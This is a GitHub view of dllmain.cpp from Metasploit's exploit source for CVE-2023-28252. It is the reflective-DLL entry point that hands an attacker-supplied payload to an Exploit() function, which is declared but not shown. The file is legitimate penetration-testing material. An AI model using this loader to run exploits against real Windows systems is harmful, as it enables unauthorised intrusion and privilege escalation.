rapid7/metasploit-framework

View on GitHub
external/source/exploits/CVE-2023-28252/CVE-2023-28252/dllmain.cpp

Summary

Maintainability
Test Coverage
#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
#define DEBUGTRACE 1

#include "ReflectiveLoader.c"
#include "definitions.h"
#include "common.h"

#include <stdio.h>
#include <stdint.h>
#include <windows.h>

DWORD Exploit(PMSF_PAYLOAD pPayload);

void main(PMSF_PAYLOAD lpReserved) {
    dprintf("In dllmain main method, heading to exploit method");
    Exploit(lpReserved);
    return;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
{
    PMSF_PAYLOAD payload = (PMSF_PAYLOAD)lpReserved;
    switch (dwReason)
    {
    case DLL_QUERY_HMODULE:
        hAppInstance = hinstDLL;
        if (lpReserved != NULL)
        {
            *(HMODULE*)lpReserved = hAppInstance;
        }
        break;
    case DLL_PROCESS_ATTACH:
        hAppInstance = hinstDLL;
        main(payload);
        break;
    case DLL_PROCESS_DETACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
        break;
    }
    return TRUE;
}